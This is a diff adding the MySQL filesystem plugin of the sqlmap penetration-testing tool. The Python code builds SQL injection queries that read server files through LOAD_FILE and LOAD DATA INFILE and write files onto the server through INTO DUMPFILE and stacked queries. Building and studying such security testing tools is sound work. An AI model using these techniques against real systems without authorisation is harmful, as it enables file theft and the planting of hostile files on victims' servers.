|
| 1 | +#!/usr/bin/env python |
| 2 | + |
| 3 | +""" |
| 4 | +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) |
| 5 | +See the file 'LICENSE' for copying permission |
| 6 | +""" |
| 7 | + |
| 8 | +from lib.core.agent import agent |
| 9 | +from lib.core.common import getSQLSnippet |
| 10 | +from lib.core.common import isNumPosStrValue |
| 11 | +from lib.core.common import isTechniqueAvailable |
| 12 | +from lib.core.common import popValue |
| 13 | +from lib.core.common import pushValue |
| 14 | +from lib.core.common import randomStr |
| 15 | +from lib.core.common import singleTimeWarnMessage |
| 16 | +from lib.core.compat import xrange |
| 17 | +from lib.core.data import conf |
| 18 | +from lib.core.data import kb |
| 19 | +from lib.core.data import logger |
| 20 | +from lib.core.decorators import stackedmethod |
| 21 | +from lib.core.enums import CHARSET_TYPE |
| 22 | +from lib.core.enums import DBMS |
| 23 | +from lib.core.enums import EXPECTED |
| 24 | +from lib.core.enums import PAYLOAD |
| 25 | +from lib.core.enums import PLACE |
| 26 | +from lib.core.exception import SqlmapNoneDataException |
| 27 | +from lib.request import inject |
| 28 | +from lib.request.connect import Connect as Request |
| 29 | +from lib.techniques.union.use import unionUse |
| 30 | +from plugins.generic.filesystem import Filesystem as GenericFilesystem |
| 31 | + |
| 32 | +class Filesystem(GenericFilesystem): |
| 33 | + def nonStackedReadFile(self, rFile): |
| 34 | + if not kb.bruteMode: |
| 35 | + infoMsg = "fetching file: '%s'" % rFile |
| 36 | + logger.info(infoMsg) |
| 37 | + |
| 38 | + result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) |
| 39 | + |
| 40 | + return result |
| 41 | + |
| 42 | + def stackedReadFile(self, remoteFile): |
| 43 | + if not kb.bruteMode: |
| 44 | + infoMsg = "fetching file: '%s'" % remoteFile |
| 45 | + logger.info(infoMsg) |
| 46 | + |
| 47 | + self.createSupportTbl(self.fileTblName, self.tblField, "longtext") |
| 48 | + self.getRemoteTempPath() |
| 49 | + |
| 50 | + tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) |
| 51 | + |
| 52 | + debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile |
| 53 | + debugMsg += "into temporary file '%s'" % tmpFile |
| 54 | + logger.debug(debugMsg) |
| 55 | + inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) |
| 56 | + |
| 57 | + debugMsg = "loading the content of hexadecimal encoded file " |
| 58 | + debugMsg += "'%s' into support table" % remoteFile |
| 59 | + logger.debug(debugMsg) |
| 60 | + inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) |
| 61 | + |
| 62 | + length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) |
| 63 | + |
| 64 | + if not isNumPosStrValue(length): |
| 65 | + warnMsg = "unable to retrieve the content of the " |
| 66 | + warnMsg += "file '%s'" % remoteFile |
| 67 | + |
| 68 | + if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): |
| 69 | + if not kb.bruteMode: |
| 70 | + warnMsg += ", going to fall-back to simpler UNION technique" |
| 71 | + logger.warning(warnMsg) |
| 72 | + result = self.nonStackedReadFile(remoteFile) |
| 73 | + else: |
| 74 | + raise SqlmapNoneDataException(warnMsg) |
| 75 | + else: |
| 76 | + length = int(length) |
| 77 | + chunkSize = 1024 |
| 78 | + |
| 79 | + if length > chunkSize: |
| 80 | + result = [] |
| 81 | + |
| 82 | + for i in xrange(1, length, chunkSize): |
| 83 | + chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) |
| 84 | + result.append(chunk) |
| 85 | + else: |
| 86 | + result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) |
| 87 | + |
| 88 | + return result |
| 89 | + |
| 90 | + @stackedmethod |
| 91 | + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): |
| 92 | + logger.debug("encoding file to its hexadecimal string value") |
| 93 | + |
| 94 | + fcEncodedList = self.fileEncode(localFile, "hex", True) |
| 95 | + fcEncodedStr = fcEncodedList[0] |
| 96 | + fcEncodedStrLen = len(fcEncodedStr) |
| 97 | + |
| 98 | + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: |
| 99 | + warnMsg = "as the injection is on a GET parameter and the file " |
| 100 | + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen |
| 101 | + warnMsg += "bytes, this might cause errors in the file " |
| 102 | + warnMsg += "writing process" |
| 103 | + logger.warning(warnMsg) |
| 104 | + |
| 105 | + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) |
| 106 | + logger.debug(debugMsg) |
| 107 | + |
| 108 | + pushValue(kb.forceWhere) |
| 109 | + kb.forceWhere = PAYLOAD.WHERE.NEGATIVE |
| 110 | + sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) |
| 111 | + unionUse(sqlQuery, unpack=False) |
| 112 | + kb.forceWhere = popValue() |
| 113 | + |
| 114 | + warnMsg = "expect junk characters inside the " |
| 115 | + warnMsg += "file as a leftover from UNION query" |
| 116 | + singleTimeWarnMessage(warnMsg) |
| 117 | + |
| 118 | + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) |
| 119 | + |
| 120 | + def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): |
| 121 | + logger.debug("encoding file to its hexadecimal string value") |
| 122 | + |
| 123 | + fcEncodedList = self.fileEncode(localFile, "hex", True) |
| 124 | + fcEncodedStr = fcEncodedList[0][2:] |
| 125 | + fcEncodedStrLen = len(fcEncodedStr) |
| 126 | + |
| 127 | + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: |
| 128 | + warnMsg = "the injection is on a GET parameter and the file " |
| 129 | + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen |
| 130 | + warnMsg += "bytes, this might cause errors in the file " |
| 131 | + warnMsg += "writing process" |
| 132 | + logger.warning(warnMsg) |
| 133 | + |
| 134 | + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) |
| 135 | + logger.debug(debugMsg) |
| 136 | + |
| 137 | + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) |
| 138 | + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) |
| 139 | + payload = agent.payload(newValue=query) |
| 140 | + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) |
| 141 | + |
| 142 | + warnMsg = "expect junk characters inside the " |
| 143 | + warnMsg += "file as a leftover from original query" |
| 144 | + singleTimeWarnMessage(warnMsg) |
| 145 | + |
| 146 | + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) |
| 147 | + |
| 148 | + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): |
| 149 | + debugMsg = "creating a support table to write the hexadecimal " |
| 150 | + debugMsg += "encoded file to" |
| 151 | + logger.debug(debugMsg) |
| 152 | + |
| 153 | + self.createSupportTbl(self.fileTblName, self.tblField, "longblob") |
| 154 | + |
| 155 | + logger.debug("encoding file to its hexadecimal string value") |
| 156 | + fcEncodedList = self.fileEncode(localFile, "hex", False) |
| 157 | + |
| 158 | + debugMsg = "forging SQL statements to write the hexadecimal " |
| 159 | + debugMsg += "encoded file to the support table" |
| 160 | + logger.debug(debugMsg) |
| 161 | + |
| 162 | + sqlQueries = self.fileToSqlQueries(fcEncodedList) |
| 163 | + |
| 164 | + logger.debug("inserting the hexadecimal encoded file to the support table") |
| 165 | + |
| 166 | + inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) |
| 167 | + |
| 168 | + for sqlQuery in sqlQueries: |
| 169 | + inject.goStacked(sqlQuery) |
| 170 | + |
| 171 | + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) |
| 172 | + logger.debug(debugMsg) |
| 173 | + |
| 174 | + # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html |
| 175 | + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) |
| 176 | + |
| 177 | + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) |
0 commit comments